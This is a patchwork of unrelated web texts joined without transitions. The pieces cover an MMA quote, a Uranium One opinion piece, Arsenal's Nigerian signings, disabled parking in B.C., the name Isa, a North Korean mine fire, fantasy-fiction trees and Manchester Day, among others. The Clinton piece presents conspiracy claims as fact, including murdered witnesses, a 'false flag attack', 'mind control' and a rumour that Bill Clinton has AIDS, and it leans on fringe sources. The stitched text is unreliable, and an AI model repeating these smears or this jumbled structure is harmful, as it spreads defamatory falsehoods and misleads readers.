"I'm out there to fight and if I'm a star, I am, if I ain't, I ain't and we've seen that in my career. Invicta put a lot of time and a lot of opportunities in my hand, and I just took them. I think that I've earned this shot."
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Don't miss breaking news, feature stories, event updates, and more. Sign up for the FloCombat mailing list today.by Patrick J. McShay
“If they send a signal that we’re going to be like some dictatorship, like some authoritarian regime, where political opponents are going to be unfairly and fraudulently investigated, that rips at the fabric of the contract we have, that we can trust the justice system. It will be incredibly demoralizing to the people at the Justice Department, both Democrat, and Republican, but it will also send a terrible signal to our Country and the World that we have given up on the kind of values that we use to live by.”
* Hillary Clinton explaining to Mother Jones why looking into her alleged criminality is a big waste of time.
“It’s time for Jeff Sessions to name a Special Counsel and get answers for the American people. If not he should step down”. Congressman Jim Jordan (R-Ohio)
“The Uranium One deal is not a national security scandal, it is a corruption scandal involving Clinton family self-dealing.” Former Federal Prosecutor Andy McCarthy
The Trump Administration is pushing for a real investigation and the appointment of a special counsel to look into Bill and Hillary Clinton’s involvement in the Uranium One deal that sold the rights of 20% of America’s Uranium to the Russians. The funny thing is that all of the people involved are “never Trumpers” who have been trying to prove Trump colluded with Russia. They also want to know why the Clinton Foundation benefited to the tune of $145 million on the deal. Hillary, not pleased at all with this spotlight on another of her shady deals, told Mother Jones that this is “old news” and a new investigation would be a “disastrous step into politicizing the Justice Department.”
Hillary whined that any further investigation into this obviously dirty deal would have devastating consequences for the justice system in America. The Clinton’s decades of lies and complete disregard for decency and the rule of law make Hillary’s pleas for justice laughable and extremely sad if anyone takes this career criminal seriously.
Spirit cooker and Hillary Campaign Manager John Podesta recently wrote in the Washington Post that Trump’s investigating criminal activity by Hillary and her cronies would “upend 230 years of Constitutional history and principle to run the Justice Department like a banana republic”. Dripping with hyperbole and hypocrisy, Podesta’s tirade and taunts are an insult to anyone with a pea-sized brain and are as childish and nuanced as the age-old playground taunt,”I know you are, but what am I”. Bold talk from a guy who was doing business in Russia long before Trump ran for president. Bill and Hillary orchestrated the Uranium one deal and now, like many of her other scams, pretends that she was out of the loop. This looks like this could be the Clinton’s last scandal.
Far from having already been investigated and adjudicated satisfactorily, the main witness in the case is a nuclear energy consultant named William Campbell, who was recruited by the FBI to work undercover as a confidential source in a bribery and kickback investigation involving Rosatom, the Russian State-owned nuclear energy company. It appears the FBI has been withholding documents and are covering up important aspects of the case. Had Trump not been elected would we be talking about any of this? Campbell is set to testify this week and up until a couple of weeks ago was effectively gagged by a Loretta Lynch non-disclosure agreement, with threats of prison time, he was forced to sign several years ago.
It is unconscionable, given the number of witnesses to Clinton criminality that have been murdered or died mysteriously to silence their testimony, that Campbell’s name would be released before he testifies. Campbell’s attorney, Victoria Toensing, has been tight-lipped about what he knows but indicated his testimony could contain some bombshells. This is the Russian pay to play and collusion scandal the American people wanted to see investigated, not the phony Russian/Trump collusion fantasy dreamed up by the criminal Clinton cult.
It came to light this week that there is a system in place in Washington to pay off victims of sexual assault and harassment claims made against randy Congressmen and Senators who can’t keep it in their pants. In the last 17 years, $15.2 million has been paid out to over 250 victims using taxpayer dollars. This is an outrageous abuse of public trust not to mention stealing taxpayer funds to pay off victims of their abuse. The entire process set up to deal with congressional wrongdoing was set up to be as discouraging and secretive as possible. This secrecy needs to end. CNN reports that staffers on the Hill maintain an unofficial “Creep list” of Congressmen to avoid.
Who are these men that pay off their victims of Congressional sexual abuse and harassment claims using taxpayer dollars? These men should be named immediately. Are any of these Congressional abusers now calling for Roy Moore to step aside in the very important Senate race in Alabama? Will these allegations against Roy Moore and Al Franken move the discussion back to the 17 women who accused President Trump of inappropriate behavior?
Gideon Litchfield, writing for Quartz said,”there’s one man in America who continues to be safe from sexual harassment allegations, and that man is Trump.” the recent comment by Kirsten Gillibrand that Bill Clinton should have resigned over the Monica Lewinsky affair a signal that Trump’s old accusers will be back in the news now that the Russian collusion story has completely fallen apart and more importantly the public never believed it.
On Friday American Majority founder Ned Ryan sat down with Breitbart’s Executive Chairman, Steve Bannon and Sirius XM’s host Raheem Kassam. Ryan called Gloria Allred, the attorney for the women accusing Roy Moore of sexual impropriety, a human Vulture. Ryan says he has no hard facts, but strongly suspects this Roy Moore story was planted by the Mitch McConnell camp. Once Moore goes down will the “Never Trump” traitor then go after a weakened Trump?
The Mother of Lee Corfman, the accuser who says she was 14 when Roy Moore fondled her, has contradicted details of her daughter’s story, which Moore vehemently denies, Darrel Nelson, the step-son of Beverly Young Nelson, has said she is lying about the charge that Moore fondled her 40 years ago and the claim that Moore signed her yearbook is being called a forgery by the Moore camp. Another accuser, Gloria Deason, says at the age of 18 she went on a few dates with Roy Moore that went no further than hugging and kissing. Despite the fact that the age of consent in Alabama is 16, she now claims to be the victim of abuse. The worst news Mitch McConnell got this week was when Alabama Governor Kay Ivey announced she would cast her vote for Roy Moore.
While America is fed a steady diet of Roy Moore’s accusers, the debate on a tax plan that will likely help no one in the Middle Class, or the latest false flag attack, no one notices what our legislators are up to while we are distracted by the latest so-called breaking news. A good example of this is a recent Bill quietly passed by Congress and signed into law by Donald Trump on August 22, 2017, with no media coverage and very little fanfare, that allows police searches and seizure without a warrant. The USA Liberty Act is a Bill proposed to address concerns about the unconstitutional National Defense Authorization Act. The Orwellian named Liberty Act is supposed to address concerns about the government spying on Americans but this Bill offers little substantive change to speak of as usual.
Will Rogers said, “All I know is what I read in the papers”. Unfortunately, The important stories don’t make papers or the mainstream news, not in Will Rogers day and certainly not today. In a scene from the movie “Three Days Of The Condor,” CIA boss Cliff Robertson meets with Robert Redford’s CIA Agent character, who the agency had been trying to kill the whole movie. When Redford threatens to blow the whistle on an illegal CIA operation and send the story to the New York Times, Robertson asks, “What if they don’t print it? How far will you get if they don’t print it? It left you thinking he was going to be OK.
In the real world, we would have seen the “No Country For Old Men” ending. They wouldn’t have printed the story, the media would have covered it up and Redford and everybody he cares about would have been unceremoniously whacked.
According to the Daily Mail in London, author Ed Klein is reporting that Bill Clinton, the nation’s worst abuser of women, and rumored to have AIDS, is facing new accusations from 4 women who claim the former president assaulted them in the early 2000’s when Clinton was working with playboy billionaire Ron Burkle. The women worked in low-level positions and were teenagers at the time of these assaults. Hillary, who has been on her high horse railing about Trump’s indiscretions will not be pleased with these new allegations.
Unfortunately, the mainstream media today only gives us the news that has been approved by our controllers, and they have no interest in the public finding out that our rights are being stolen and soon freedom and privacy in America will be a thing of the past. The bottom line is, Selective programming is social engineering. We aren’t being governed, we are being handled through mind control and government approved propaganda.
We live in a country where a recent CDC report, detailed in Reuters, revealed that the water in over 3800 water supplies across America contain twice as much Lead as the toxic water in Flint Michigan, and in half of those cities it was 4 times as bad. So far no one’s gone to prison. Do you think they don’t know it’s that bad? Of course, they do. They were hoping you wouldn’t find out. Why isn’t that breaking news on Fox?
If we don’t demand clean water they won’t provide it. If we don’t demand they stop illegally spying on us they never will. If we don’t demand our God-given rights protected by the Constitution are preserved they will take them. If we don’t demand to be heard soon it’s going to be too late
Sources:
http://www.rumormillnews.com/cgi-bin/forum.cgi?read=87852
http://beforeitsnews.com/prophecy/2017/11/clinton-nightmare-uranium-one-informant-has-film-of-briefcases-full-of-cash-video-2495545.html
http://newsmela.com/hillary-clinton-questions-legitimacy-of-trumps-victory-in-2016-election/
http://hotair.com/archives/2017/11/16/capitol-hill-staffers-keep-creep-list-lawmakers-avoid/
http://www.tashnews.com/jeff-sessions-leaked-fbi-informant-video-bribery-clinton-russian-agents-video/
http://www.reuters.com/article/us-usa-clinton-informant-exclusive/exclusive-secret-witness-in-senate-clinton-probe-is-ex-lobbyist-for-russian-firm-idUSKBN1DG1SB
http://needtoknow.news/2017/08/us-congress-quietly-passed-bill-allowing-searches-homes-without-warrant/
http://www.activistpost.com/2017/11/shocking-cdc-tests-reveal-3800-us-water-supplies-400-contaminated-flint.html?utm_source=Activist+Post+Subscribers&utm_medium=email&utm_campaign=53741ba043-RSS_EMAIL_CAMPAIGN&utm_term=0_b0c7fb76bd-53741ba043-388191505Get the biggest Arsenal FC stories by email Subscribe Thank you for subscribing We have more newsletters Show me See our privacy notice Could not subscribe, try again later Invalid Email
But for a welcome stroke of misfortune, Kelechi Nwakali and Samuel Chukwueze almost did not make it this far, to the point
Both players were members of the 2013 World Cup winning Nigeria Under-17 team that included Kelechi's brother Chidiebere and a certain Kelechi Iheanacho. And they were well on their way to making the final World Cup squad until late injuries left them with shattered dreams, especially Nwakali.
"He was devastated," says Nigeria Under-17 coach Emmanuel Amuneke, who was assistant to Manu Garba at the time. "And he was not alone. Everybody felt bad for him because we knew he deserved to be there.
"But we told him that God knows why and he should wait for another opportunity."
(Image: Alex Grimm - FIFA)
Two years later, Amuneke had been elevated to the top post after Manu was promoted to the under 20s and he promptly called up the youngster and made him captain.
Perhaps their destinies are intertwined.
Both players are no strangers when it comes to playing together.
In 2013, Amuneke cobbled together a group of youngsters and led them to win the under 16 version of the Iber Cup, a youth tournament in Portugal.
Nwakali and Chukwueze were the standout performers. Nwakali was voted tournament MVP, while Chukwueze's 12 goals in 5 games earned him Golden Boot honours.
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(Image: AFP/Getty)
Nearly two years later, they were winning similar prizes at the highest level, the FIFA Under-17 World Cup, although this time, Victor Osimhen's goalscoring heroics relegated Sammy Sparkle to the bronze shoe.
With the players ahead of them in that 2013 squad, it is doubtful either player would have been starters
"He might not have played much," says Morakinyo Abodunrin, press officer of the Nigeria Under-17 team about Nwakali. "The team had players who were slightly better at the time."
That statement is something Nwakali's brother Chidiebere contests. The Manchester City starlet claims his younger sibling is a better player, and he may not be far from the truth.
(Image: FIFA via Getty)
In Nwakali, Arsenal may have unearthed a really special gem. He is at once midfield enforcer and general, a cross between Patrick Vieira's unyielding presence and Mesut Ozil's visionary accuracy.
"The first time I saw him, my first thought was Patrick Vieira," says Victor Apugo, the team manager of Diamond Academy. "He was playing for All Stars junior academy in Umuahia. Everybody agreed we had to sign him.
"He was doing everything right in midfield. And he was everywhere."
At the time, Nwakali was an offensive midfielder with the license to roam. It was at the national team level that Amuneke converted him to a deeper-lying player with more defensive responsibilities.
(Image: FIFA via Getty)
That slight tweak has made him a much better all round midfield player. "I never knew I could play defensive midfield before then," admitted Nwakali, who is at his best when allowed to just enjoy his game, but has now turns his biggest weakness, lack of defending, into a strength.
Not so much for Chukwueze, for whom the process remains ongoing. The forward was only slightly less torn apart by his 2013 injury than Nwakali and bounced back equally quickly, attacking the slightest of spaces in front of him with pace and eye-catching skill at every opportunity.
Such is his skill level that both of the officials closest to him have compared him to two of the world's best left footers.
"He could be as good as Arjen Robben," Abodunrin says. "He has the speed and the skill to do so. But he needs to be properly guided."
(Image: REUTERS)
Apogu takes it up a notch
"He can be as fast as Messi with the ball at his feet. Or even faster. That speed was the first thing we noticed about him when he saw him playing in the streets of Umuahia."
Like those two, Chukwueze is not the best at tracking back, and it almost cost him a place in the World Cup squad. At the African championships, the winger began poorly, which led to Amunike reading him the riot act. He promptly cleaned up his defensive game. And by the time the World Cup rolled around, he was bursting his lungs to help his fullback.
Beyond their talent, it is this ability to learn and adjust quickly in the interest of the team that will prove crucial for these boys.
(Image: Getty)
England presents a different challenge. It is not clear if Arsenal intend to keep the boys around or loan them out. But one thing is clear, they have left the familiar comforts of Nigeria, for strange lands.
Sometimes, such a major uproot can prove fatal, but Apugo says not in this instance
"These boys have been taking part in international tournaments for the last two years. They have played in Europe and South America, so they will not be overwhelmed too much."
Nduka Ugbade, who was Nigeria Under-17 captain when they won the first World Cup in 1985, and also coached the boys as assistant to Manu Garba in 2013, says the support structures must be spot on.
(Image: FIFA via Getty)
"These are young boys who are leaving their country to stay abroad permanently. It is important that the club provide them with people who will guide them.
"I am not worried about their talent or their ability to cope under harsh conditions. They can do that very well. It is their ability to cope under comfortable conditions that is important.
"They are coming from a place of hardship to a place of comfort, and there might be the tendency for them to believe they have arrived. If that happens, they will lose motivation and their performance will drop.
"But if they have people who will constantly advise them that this is only the beginning, then the sky will be their limit."Motorists taking parking spots reserved for the disabled has become such a problem a provincial advocacy group has created a special position to educate people and deal with the complaints.
"People just drive in there and you can't really do much about it. The security people should be enforcing it but nobody is enforcing it - Ravinder Dhillon
Karen Williams, the Manager of Accessibility Initiatives with the Social Planning and Research Council of B.C says the agency created her position a few months ago and set up a special tip line to deal with disabled parking abuse.
"If people aren't able to access spots when they go looking for them, they can't fully participate in the community."
Ravinder Dhillon works at the Richmond Centre for Disability where she hears a steady stream of complaints about parking. At least once a week when she heads out grocery shopping she says she has to drive in circles looking for a place to park.
"People just drive in there and you can't really do much about it. The security people should be enforcing it but nobody is enforcing it. Nowadays you can't even approach somebody because you don't know if they're going to be abusive...like what kind of language they're going to use"
Williams says penalties in B.C. range from $50 to $100 depending on the municipality, and points to Washington state where fines are as high as $400.This article is about the Arabic given name. For the Islamic perspective of Jesus, see Jesus in Islam
Isa Isa (Jesus) depicted in a Persian miniature Pronunciation Arabic: [ʕiː.saː]
Albanian: [ɪˈsɑ] Gender Unisex Language(s) Arabic, Frisian, Ancient Germanic Origin Meaning Jesus and Ice or Iron Other names See also Eisa, Esa, Essa, Isa, Eesa and Eesah
Isa is a unisex given name originating from a variety of sources.
The name is most commonly derived from the [classical Arabic] عيسى ‘Isa, an Arabic translation of Jesus, itself having a Hebrew origin. However, it is not the only translation; it is most commonly associated with Jesus as depicted in Islam, and thus, commonly used by Muslims. Meanwhile, Arabic-speaking Christians would use يسوع Yasū‘, a more phonetic translation of Jesus.[1][2] The origin of the Quranic Isa is complex and is detailed below.
Isa was also used in the Frisian (Old Germanic) language for both males and females and was a short form of Germanic names beginning with the element "is", meaning ice and iron.
Etymology [ edit ]
The English form of the name "Jesus" is derived from the Latin Iēsus, which in turn comes from the Greek Ἰησοῦς (Iēsoûs). The Greek is a Hellenized form of the Hebrew name Yēšua (ישוע), which is in turn a shortened form of Hebrew Yehōšua (יהושע) or "Joshua" in English.[3] Aramaic (Classical Syriac) and East Syriac, which are ancestral to West Syriac, render the pronunciation of the same letters as ܝܫܘܥ ishoʕ (išoʕ) /iʃoʕ/. The Aramaic Bible (c. 200 AD) or the Peshitta preserve this same spelling. The Encyclopedia of the Qur'an by Brill Publishers quotes scholarship that notes that the Greek name Iesous, Ἰησοῦς (Iēsoûs), also is known to have represented many different Biblical Hebrew names (which causes issues when seeking to find what Jesus' original Hebrew name would have been from the Greek) "Josephus used the Greek name lesous to denote three people mentioned in the Bible whose Hebrew names were not Yeshua', Y'hoshua' or Y'hoshua'. They were Saul's son Yishwi (Anglicized as 'Ishvi' in the RSV of I Samuel 14:49), the Levhe AbTshua' (mentioned in I Chronicles 6:4, etc.) and Yishwah the son of Asher (Anglicized as 'Ishva' in the RSV of Genesis 46:17).... Josephus furnishes important evidence for the wide variety of Hebrew names represented in Greek by Iesous"[4]
Also, the classical theologians Clement of Alexandria and Cyril of Jerusalem both stated that the Greek name Iesous was allegedly Jesus' original name itself and that the name was not a transliteration of a Hebrew form.[3]
There is a major discrepancy between the Hebrew/Aramaic and Muslim Arabic forms of this name, since the Hebrew form of this name has the voiced pharyngeal ʿAyin ע or ʿAyn ع consonant at the end of the name (as does Christian Arabic يسوع yasūʿ), while the Muslim Arabic form عيسى ʿīsā has the ʿAyn at the beginning of the name. For this reason, some (such as Ahmed Deedat) state the Arabic name Isa is related to the Biblical name Esau (which begins with a pharyngeal); it is also similar in the vowels to an Aramaic version of Jesus, viz. Eeshoʿ (Aramaic forms of the name, however, still have the voiced pharyngeal `Ayn consonant at the end of the name).[5] [Other Aramaic pronunciations of the same name include yeshuuʕ (ʕ is IPA ayin). Vowels in Semitic languages are somewhat fluid between dialects while consonants are structurally more stable. The vowels in an Anglicized quote "Eesho`" by themselves are insignificant for this discussion since "i" and "e" and short "a" can interchange between dialects, and "u" and "o" can also interchange between dialects. The dominant consonsonantal discrepancy remains, between Aramaic yeshuuʕ [consonantal y-sh-w-ʕ] and Arabic ʕiisa [consonantal ʕ-y-s-alef].]
Scholars have been puzzled by the use of ʿĪsā in the Qur'an since Christians in Arabia used yasūʿ before and after Islam,[6][7] itself derived from the Syriac form Yēshūaʿ by a phonetic change.[8][9] The Encyclopedia of the Qur'an by Brill Publishers states this has also come about because many Western scholars have held a "conviction that Jesus' authentic Hebrew name is Yeshua'"[4] and because of this they often "have been puzzled by the Qur'an's reference to him as 'Isa".[4] Brill's Encyclopedia of the Qur'an further states "It is not certain that Jesus' original name was Yeshua'"[4] However, the early Syriac/Aramaic form of the name Yeshua, the etymological link with'salvation' (note the Hebrew consonantal root y-sh-`) in Matthew 1:21, all of the correspondences of Ἰησοῦς in the Greek OT and Second Temple Jewish writings, and the common attestation of Yeshua among 1st century Jewish names have led to a consensus among scholars of the gospels that Yeshua was "Jesus"'s original name. "Esau" (and derivatives with `ayin as a first letter) is not a realistic possibility. With all this in mind, some scholars have proposed a number of explanations. James A. Bellamy of the University of Michigan suggested that the Quranic name is a corruption of Masīḥ itself derived from yasūʿ, suggesting that this resulted from a copyist error and an attempt to conceal the Arabic verb sāʿa/yasūʿu which has obscene connotations.[8]
Josef Horovitz on the other hand holds that the Quranic form is meant to parallel Mūsā (Moses). Similar pairs are also frequently found in the Quran as well which supports this theory.[10] For example, compare Ismā‘īl and Ibrāhīm (Ishmael and Abraham) or Jālūt and Tālūt (Goliath and Saul). It is thus possible that the Arabs referred to him as Yasaʿ, but the Quran reversed the letters so as to parallel Mūsā.
Another explanation given is that in ancient Mesopotamia divine names were written in one way and pronounced in another. Thus it is possible for borrowed words to have their consonants reversed. Another explanation is that Muhammad adopted Isa from the polemical Jewish form Esau. However, there is no evidence that the Jews have ever used Esau to refer to Jesus, and if Muhammad had unwittingly adopted a pejorative form his many Christian acquaintances would have corrected him. A fourth explanation is that prior to the rise of Islam, Christian Arabs had already adopted this form from Syriac. According to the Encyclopaedia of the Qurʼān, "Arabic often employs an initial 'ayn in words borrowed from Aramaic or Syriac and the dropping of the final Hebrew 'ayin is evidenced in the form Yisho of the 'koktiirkish' Manichaean fragments from Turfan."[5] This is supported by Macúch with an example in classical Mandaic, a variety of Eastern Aramaic (hence closely related to Syriac) used as liturgical language by the Mandaean community of southern Mesopotamia, where the name for Jesus is rendered ʿ-š-u (ࡏࡔࡅ), though the pharyngeal ('ayin) is pronounced like a regular long i ("Īshu").[11] Also the name Yeshu (ישו in Hebrew and Aramaic) lacking the final 'ayin is also used to refer to Jesus in the Jewish work the Toledot Yeshu, and scholar David Flusser presents evidence Yeshu was also a name itself rather than claims it was meant to supposedly be an acronym to insult Jesus.[12] The Brill Encyclopedia of the Qur'an notes scholar Anis al-Assiouty as noting the fact that "In the Talmud, however, he (Jesus) is called Yeshu."[4] Scholar David Flusser and other scholars like Adolf Neubauer, Hugh J. Schonfield, and Joachim Jeremias also further argued that the name or pronunciation Yeshu (ישו in Hebrew and Aramaic) could also be "the Galilean pronunciation" of Yeshua' that came about because of an inability to pronounce the 'ayin in the Galilee region where Jesus came from. Scholar Alphonse Mingana writes there may have been a monastery named ʿĪsāniyya in the territory of the Christian Ghassanid Arabs in southern Syria as early as 571 CE.[5][13][14]
Christoph Luxenberg's The Syro-Aramaic Reading of the Koran equates the Quranic name with Hebrew Jesse. However, neither Yeshu nor Jesse begins with a pharyngeal consonant in their original Hebrew forms.
The earliest archaeological evidence of an Arabic name for Jesus is a Jordanian inscription. Enno Littman (1950) states: "Mr. G. Lankaster Harding, Chief Curator of Antiquities Hashimite Kingdom of Jordan, kindly sent me copies of a little more than five hundred Thamudic inscriptions. [...] It is the inscription [Harding No. 476] that interests us here. [...] Below the circle there are four letters: a y, a sh, a ʿ, and again a y." He also states: "These letters are so placed that they can be read from right to left or from left to right y-sh-ʿ, probably pronounced Yashaʿ, and this name is the same as Yashuaʿ, the Hebrew form of the name of Christ."[15] An archaic Arabic root for 'Salvation' exists in Yatha, which may have later formed this name: y-sh-ʿ.[16] The lack of a Waw is still unexplained. Also, the closer correspondence with another name ישעיה [y'sha'yá, "Isaiah" in English] needs explanation or discussion before this inscription can be entertained as an Arabic "Jesus".
Non-Islamic uses [ edit ]
ʿĪsā is used as well by several Christian groups in Muslim countries. A 14th-century Persian translation of Matthew, one of the earliest surviving Persian manuscripts of the scripture, uses ʿĪsā.[17] Later translations in other languages also follow suit. Some modern Evangelical translations also use Isa, such as David Owen's Life of Christ (Arabic 1987).[18]
Given name [ edit ]
Surname [ edit ]
See also [ edit ]A fire took place in a North Korean coal mine this June, badly burning at least ten workers and possibly killing others, DPRK state media indicated on Friday.
The fire, which took place in the Soksong coal mine of the Myongchon area coal complex, resulted in the airlifting of at least ten miners to the capital city, the English language Pyongyang Times said.
“As soon as he was informed that the coal miners at the northern coalfield far away from Pyongyang were at the brink of death in June, supreme leader Kim Jong Un took the measure to airlift them all to the hospital,” the newspaper said.
North Korean media rarely reports on accidents to have taken place within the country and when it does, few specifics are ever published.
Consequently, Friday’s report included no details about potential casualties at the mine, with the report only focusing on the successful rehabilitation of ten survivors after the intervention of Kim Jong Un.
“The Party and government regard the treatment of ordinary workers as their important affair and doctors and nurses take good care of them like their brothers and sisters by blood,” said coal miner Chon Nam Chol in the report.
State media provided no information on the scale of the fire or any indication as to its cause, though its June date mean it took place shortly after the kick-off of an ongoing ‘200 day battle’ to boost the national economy.
Dr. Andray Abrahmaian, an honorary researcher at Macquarie University, said state media likely highlighted the accident to underscore Kim Jong Un’s “personal and involved” approach to the incident.
“(The report) admits there was some unspecified problem, but emphasizes the solution and the leader’s direct connection to the solution,” he said. “It’s very good propaganda, on DPRK terms.”
The mine was also featured in state media reporting in 2012, when flooding affected the region.
“The flood swept over 2,000-meter-long embankment in the Soksong Coal Mine under the Myongchon Area Coal Mining Complex, leaving not a few dwelling houses submerged and five destroyed,” a KCNA report said in July 2012.
The mine complex the fire occurred is located less than 35km southeast from North Korea’s Punggye-ri nuclear test site, and some 25km from the Mt. Chilbo Homestay Village, an area popular with foreigners touring the north-east of the DPRK.
Approximate location of mine complex, based on map data in ‘North Korea Uncovered’ overlay
Besides the Pyongyang Times and a Korean-language dispatch in national daily the Rodong Sinmun, North Korean media has been silent about the incident, with nothing on TV in recent days and state news agency KCNA avoiding the topic all together.
North Korean media has historically only tended to report on major accidents, such as natural disasters or major accidents, news of which may be otherwise difficult to limit spreading.
In May 2014 state media revealed details of a major building collapse in downtown Pyongyang, going as far as admitting that shoddy workmanship has been responsible.
In November 2013, the KCNA also reported on the unexplained death of – what pictures showed to be – at least 24 North Korean sailors. Kim Jong Un was pictured viewing the graves of the sailors after personally taking “a measure for finding out all [the crew’s] bodies and holding a solemn funeral for them.”
Main picture: KCTV ArchiveIsn’t this picture marvelous? Or more correctly, aren’t the tree roots pictured in the photo marvelous? (I am more than prepared to admit that my photography is definitely at the ‘fun snap’ end of the spectrum.)
The roots belong to the Moreton Bay fig I featured yesterday, which resides in Auckland’s Cornwall Park. I have always loved the species’ snaking, twisty roots — and as a Fantasy reader as well as a writer, they always make me think Entish thoughts.
Ents, of course, are probably the most famous “trees”, or in their case, treelike beings, in Fantasy literature. They feature in the second and third books of The Lord of the Rings trilogy and played a major part in The Two Towers film, with the attack on, and destruction of Isengard:
“Pippin looked behind. The number of Ents had grown — or what was happening? Where the dim bare slopes that they had crossed should lie, he thought he saw groves of trees. But they were moving! Could it be that the trees of Fangorn were awake, and the forest was rising, marching over the hills to war? He rubbed his eyes wondering if sleep and shadow had deceived him; but the great grey shapes moved steadily onward.”
Sentient trees also feature in CS Lewis’s Narnia series and I’ve always loved the scene in Prince Caspian where Aslan reawakens the trees that have slept as a result of the Telmarine invasion.
“What Lucy and Susan saw was a dark something coming to them from almost every direction across the hills. It looked first like a black mist creeping on the ground, then like the stormy waves of a black sea rising higher and higher as it came on, and then, at last, like what it was — woods on the move. All the trees of the world appeared to be rushing towards Aslan.”
Sometimes, however, it is not a forest but a single tree that features — like the world tree in Mary Victoria’s Chronicles of the Tree series, which is first encountered in Tymon’s Flight:
“To starboard of the vessel…stretched a vast and furrowed mountain of bark, so wide that it’s curvature was almost invisible and so high that both its summit and its base were lost to view. The immensity of the wall was broken by a profusion of spoke-like limbs, the largest many miles in length. Several hundred feet above the dirigible the trunk culminated in the gently rising plateau of branches and twigs that made up the Central Canopy’s crown.”
Guy Gavriel Kay’s Summer Tree, from the book of the same name, may not be a world in size, but it is still intriguing, magical, and powerful:
“…and he came into the place wherein stood the Summer Tree. Very great it was, dark almost to black, its trunk knotted and gnarled, wide as a house. It stood alone in the clearing, in the place of sacrifice, and clutched the earth with roots old as the world, a challenge to the stars that shone down, and there was power in that place beyond the telling.”
Werewolves and other were-beasts have become very popular in recent years, but Fantasy contains at least one instance of tree-shifting: Danan Isig in Patricia McKillip’s The Riddlemaster of Hed, who teaches the skill to the protagonist, Morgon:
“Was I a tree? Sometimes I stand so long in the snow watching the trees wrapped in their private thoughts that I forget myself, become one of them. They are as old as I am, as old as Isig...”
When discussing trees in Fantasy I don’t think I could go past the weirwood that stands at the heart of Winterfell, |
totally the opposite experience. Every class I was surprised at how much I could do on my less dominant side, how not bad at all it was despite the lack of love it got. It’s not easy, mind you, it challenges me enough to be interesting.
My training feels more wholesome now. Less like I’m abusing my body and more like I’m making it stronger in a good way. I love it. So don’t wait for an injury to change your priorities like I did. Decide to have only good sides and #poleonbothsides!
Mary Nightingale.
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This year’s Manchester Day will become a huge tribute to those killed and injured in the Arena bombing.
Thousands of people are expected in the city centre for the annual event, which is set to be turned into a memorial for the 22 people who lost their lives in last week’s terror attack.
A special tribute to the men, women and children killed in the blast will lead a parade through the streets of Manchester.
It will also honour the heroic efforts of the emergency services, who worked tirelessly in the hours and days after the atrocity. The celebrations, on Sunday, June 18, will be an enormous show of resilience following one of the city’s darkest days.
(Image: Mark Waugh)
Lord Mayor Coun Eddy Newman, regional mayor Andy Burnham and Manchester Day chair Coun Pat Karney will march ahead of the incredible works of art that make the parade such a dazzling spectacle.
Now in its eighth year, Manchester Day celebrates the city’s unbreakable spirit, steadfast pride and resolute solidarity.
Those characteristics have been on show for all the world to see in the past week. Mancunian defiance and passion are more prevalent than ever.
Community groups from across the region will come together as more than 2,000 people snake through the city centre.
The ‘Abracadabra’ theme will remain, but the focus will undoubtedly be on the Arena tragedy.
Event chair Coun Pat Karney said: “Manchester Day will show the city’s resilience and collective spirt where people come together to celebrate a shared love for our city.
“Our thoughts remain with the families of those who lost their lives last week – as well as those who were injured – and we believe it is important that Manchester Day pays tribute.
“We know thousands of people will come out and we look forward to seeing them for an incredible day of celebration.”
(Image: manchester Evening News)
Liz Pugh, co-founder of Walk The Plank and creative producer of the event, said: “Manchester Day celebrates the achievements of this amazing city and its people in an exuberant act of civic engagement, and provides a unique opportunity for less visible community groups to be seen and heard.”
Greater Manchester mayor Andy Burnham added: “It’s right and fitting that Manchester Day is devoted to those who lost their lives and those that continue to live with the aftermath of last week’s attack.
“It will also give us all an opportunity to pay tribute to our heroic public servants and celebrate the incredible Manchester spirit that has sustained us all through these dark days.”
Manchester Day takes place on Sunday, June 18, between midday to 6pm. The parade begins at Liverpool Road, off Deansgate, at 1pm.
To get involved, visit manchesterday.co.uk.Whither assault weapons ban: “Sen. Dianne Feinstein (D-Calif.) said on Monday that a controversial assault weapons ban will not be part of a Democratic gun bill that was expected to reach the Senate floor next month,” Politico notes. “After a meeting with Senate Majority Leader Harry Reid (D-Nev.) on Monday, a frustrated Feinstein said she learned that the bill she sponsored — which bans 157 different models of assault weapons and high-capacity ammunition magazines — wouldn’t be part of a Democratic gun bill to be offered on the Senate floor. Instead, it can be offered as an amendment. But its exclusion from the package makes what was already an uphill battle an almost certain defeat.”
Menendez watch: “Three women were paid to falsely claim in videotaped interviews that they had sex for money with U.S. Senator Robert Menendez in the Dominican Republic, a spokesman for the police said today,” AP reports. “The women, whose claims generated media attention in the United States, were hired by a Dominican attorney to make the videotaped statements, spokesman Maximo Baez told reporters. Two of the women received about $425 and the other was paid about $300, he said.”
National Journal: “Unlike some other scandal-wracked politicians like Anthony Weiner, Eric Massa, or Eliot Spitzer, DesJarlais hasn’t become an outcast at all. Republican leaders haven’t punished him. He still holds positions on the Agriculture and, yes, the Oversight and Government Reform committees. Even more glaring: He’s getting fundraising assistance on Tuesday from six influential colleagues, including three committee chairmen (GOP Reps. Darrell Issa of California, John Kline of Minnesota, and Frank Lucas of Oklahoma) and two potential Senate candidates (Kline and Rep. Tom Price of Georgia). Responding to calls asking why they would want to associate with a scandal-plagued congressman, several praised DesJarlais' conduct in office.”Looking for news you can trust?
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Donald Trump isn’t the only Trump in the world, but that fact apparently came as a surprise to Donald in 1984. That’s when Trump got a letter from the publisher of Drug Store News welcoming him to the fraternity of chain drug store owners. But Trump hadn’t bought Duane Reade or CVS. The letter was intended for a business called the Trump Group, run by South African-born developers Eddie and Jules Trump, which had recently bid for the Pay ‘n Save chain.
Donald, to put it mildly, was not pleased. “The defendants are South Africans whose recent entrance in the New York area utilizing the name ‘the Trump Group’ can only be viewed as a poorly veiled attempt at trading on the goodwill, reputation and financial credibility of the plaintiff,” read a lawsuit he quickly filed against the Trump Group. He lost that case but did succeed in having the Trump Group’s trademark revoked in 1988.
That didn’t hurt the other Trumps too much. The Real Deal, a New York real estate publication, noted in 2009 that Eddie and Jules, who still use the Trump Group name, have “quietly built an empire on luxury real estate development” in Florida and other places. Eddie was even placed 35th on a 2013 list of the world’s 50 most “influential” rich people, a list on which Donald did not appear.
But there’s no bad blood between the Trumps, even if Jules was an early $25,000 donor to Marco Rubio’s super-PAC, according to Gawker. “I’m friends with them,” Donald told the New York Times. “They’re quality guys. They do quality developments.”
“We’re very boring,” Jules told the Real Deal. “We’re very different from Mr. Trump. He’s much more interesting. Go write about him.”
Read the rest of “The Trump Files”:Little libraries will be popping up all throughout Iowa City starting this summer and it's thanks to some students.
Sixth graders at Alexander Elementary never had so much fun writing an essay.
"The best part is reading it and writing it down," Sharia Meeks said.
